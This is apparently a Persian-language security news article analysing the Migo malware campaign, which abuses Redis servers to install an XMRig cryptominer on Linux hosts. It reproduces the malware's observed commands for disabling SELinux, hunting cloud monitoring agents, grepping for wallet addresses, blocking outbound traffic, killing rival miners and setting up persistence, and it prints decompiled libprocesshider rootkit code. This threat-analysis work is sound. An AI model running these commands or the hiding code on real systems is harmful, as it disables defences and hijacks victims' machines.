محققان آزمایشگاه امنیتی Cado اخیراً کمپین بدافزار جدیدی را شناسایی کردهاند که سرور Redis را به منظور ایجاد دسترسی اولیه با هدف نهایی استخراج ارز دیجیتال در میزبان های لینوکس مورد هدف قرار میدهد. حمله سرقت رمز ارز توسط بدافزار Migo، یک باینری ELF مبتنی بر Golang صورت میپذیرد که با مبهمسازی زمان کامپایل و ایجاد تداوم دسترسی در ماشینهای لینوکس انجام میشود.
این کمپین خاص، شامل استفاده از تعدادی تکنیک جدید تضعیف سیستم در برابر سیستم “خود ذخیره داده” یا ” data store itself ” است.
Cado این کمپین را پس از مشاهده “یک سری دستورات غیرمتداول” شناسایی کرد که هانیپات های Redis این شرکت را با غیرفعال سازی گزینههای پیکربندی زیر، مورد هدف قرار داده بود.
گمان میرود که این گزینهها به منظور ارسال دستورات اضافی به سرور Redis از شبکههای خارجی و تسهیل بهره برداری در آینده بدون جلب توجه زیاد، غیرفعال شده باشند.
عوامل تهدید سپس دو کلید Redis را تنظیم میکنند که یکی از آنها به کلید SSH کنترل شده توسط مهاجم اشاره دارد و دیگری به یک cron job که پیلود اولیه مخرب را از یک سرویس انتقال فایل به نام Transfer.sh بازیابی میکند، تکنیکی که قبلا در دوم مارس 2023 مشاهده شده بود.
شل اسکریپت برای واکشی Migo با استفاده از Transfer.sh در یک فایل Pastebin تعبیه شده است که به نوبه خود با استفاده از دستور curl یا wget دانلود میشود.
باینری ELF مبتنی بر Go، علاوه بر ترکیب مکانیزمهایی برای مقاومت در برابر مهندسی معکوس، به عنوان یک دانلودر برای نصب کننده XMRig که در GitHub میزبانی میشود، عمل میکند و مسئول انجام یک سری مراحل به منظور ایجاد تداوم دسترسی، پایان دادن به سایر ماینرها و راه اندازی ماینر خود است.
/bin/chmod +x /tmp/.migo
/bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux"
/bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh"
/bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh"
/bin/sh -c command -v setenforce
/bin/sh -c command -v systemctl
/bin/sh -c setenforce 0o
go_worker --config /tmp/.migo_worker/.migo.json
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home"
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root"
bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp"
bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer"
iptables -A OUTPUT -d 10.148.188.201 -j DROP
iptables -A OUTPUT -d 10.148.188.202 -j DROP
iptables -A OUTPUT -d 11.149.252.51 -j DROP
iptables -A OUTPUT -d 11.149.252.57 -j DROP
iptables -A OUTPUT -d 11.149.252.62 -j DROP
iptables -A OUTPUT -d 11.177.124.86 -j DROP
iptables -A OUTPUT -d 11.177.125.116 -j DROP
iptables -A OUTPUT -d 120.232.65.223 -j DROP
iptables -A OUTPUT -d 157.148.45.20 -j DROP
iptables -A OUTPUT -d 169.254.0.55 -j DROP
iptables -A OUTPUT -d 183.2.143.163 -j DROP
iptables -C OUTPUT -d 10.148.188.201 -j DROP
iptables -C OUTPUT -d 10.148.188.202 -j DROP
iptables -C OUTPUT -d 11.149.252.51 -j DROP
iptables -C OUTPUT -d 11.149.252.57 -j DROP
iptables -C OUTPUT -d 11.149.252.62 -j DROP
iptables -C OUTPUT -d 11.177.124.86 -j DROP
iptables -C OUTPUT -d 11.177.125.116 -j DROP
iptables -C OUTPUT -d 120.232.65.223 -j DROP
iptables -C OUTPUT -d 157.148.45.20 -j DROP
iptables -C OUTPUT -d 169.254.0.55 -j DROP
iptables -C OUTPUT -d 183.2.143.163 -j DROP
kill -9
ls /usr/local/aegis/aegis_client
ls /usr/local/aegis/aegis_update
ls /usr/local/cloudmonitor/cloudmonitorCtl.sh
ls /usr/local/qcloud/YunJing/uninst.sh
ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh
ls /usr/local/qcloud/stargate/admin/uninstall.sh
ls /var/lib/qcloud/YunJing/uninst.sh
lsattr /etc/cron.d/0hourly
lsattr /etc/cron.d/raid-check
lsattr /etc/cron.d/sysstat
lsattr /etc/crontab
sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"
sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9"
sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9"
systemctl start system-kernel.timer
systemctl status firewalld
باینری ELF مبتنی بر Go، علاوه بر ترکیب مکانیزمهایی برای مقاومت در برابر مهندسی معکوس، به عنوان یک دانلودر برای نصب کننده XMRig که در GitHub میزبانی میشود، عمل میکند و مسئول انجام یک سری مراحل به منظور ایجاد تداوم دسترسی، پایان دادن به سایر ماینرها و راه اندازی ماینر خود است.
بدافزار Migo علاوه بر این، SELinux را غیرفعال ساخته و اسکریپتهای حذف نصب را برای عوامل نظارتی همراه در نمونههای محاسباتی ارائهدهندگان ابری مانند Qcloud و Alibaba Cloud جستجو میکند و همچنین یک نسخه اصلاح شده (“libsystemd.so”) از روت کیت محبوب در حالت کاربر به نام libprocesshider را به منظور پنهان ساختن فرآیندها و آبجکتها بر روی دیسک مستقر میکند.
خروجی دیکامپایلر برای فرآیند و قابلیت پنهان سازی فایل در libsystemd.so به شرح زیر است:
if ( !original_readdir )
{
original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir");
if ( !original_readdir )
{
v1 = dlerror();
fprintf(stderr, aDlsym_0, v1);
}
}
do
v5 = original_readdir(a1);
while ( v5
&& (get_dir_name(a1, s1, 256LL)
&& !strcmp(s1, "/proc")
&& get_process_name(v5 + 19, v4)
&& should_hide_entry(v4, &hiddenProcesses, 3LL)
|| should_hide_entry(v5 + 19, hiddenFiles, 4LL)
|| *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) );
return v5;
}
اگرچه libprocesshider اغلب توسط کمپینهای رمز ارز رُبایی مورد استفاده واقع میشود، اما این نوع خاص علاوه بر خود فرآیندهای مخرب، توانایی پنهان سازی آبجکت ها را بر روی دیسک دارد.
شایان ذکر است که این اقدامات با تاکتیکهای اتخاذ شده توسط گروههای معروف رباینده ارز دیجیتال مانند TeamTNT، WatchDog، Rocke و عوامل تهدید مرتبط با بدافزار SkidMap همپوشانی دارند.
جالب است که به نظر میرسد بدافزار Migo به صورت بازگشتی از طریق فایلها و دایرکتوریها در زیر etc/ تکرار میشود. این بدافزار به سادگی فایلها را در این مکانها خوانده و کاری با محتوا ندارد.
یک نظریه ضعیف این است که استفاده از این بدافزار میتواند تلاشی برای دور زدن سندباکس و راهکارهای تحلیل پویا باشد که در نتیجه منجر به طبقه بندی غیر مخرب این بدافزار میشود. فرضیه دیگر این است که بدافزار به دنبال یک آبجکت خاص برای یک محیط هدف میباشد، اگرچه تاکنون هیچ مدرکی دال بر این موضوع مشاهده نشده است.
بدافزار Migo نشان داده است که مهاجمان متمرکز بر ابر به اصلاح تکنیکهای خود و بهبود توانایی آنها به منظور بهره برداری از سرویس های وب ادامه میدهند. به نظر میرسد که توسعه دهندگان Migo از فرآیند تجزیه و تحلیل بدافزار آگاه هستند و گام های بیشتری برای مبهم سازی symbolها و رشتههای موجود در ساختار pclntab برداشتهاند که میتوانند به مهندسی معکوس کمک کنند. حتی استفاده از Go برای تولید یک باینری کامپایل شده به عنوان پیلود اصلی، به جای استفاده از یک سری اسکریپتهای شل، حاکی از آن است که کسانی که در پشت Migo قرار دارند، به بهبود تکنیکهای خود ادامه داده و فرآیند تحلیل را پیچیدهتر خواهند ساخت.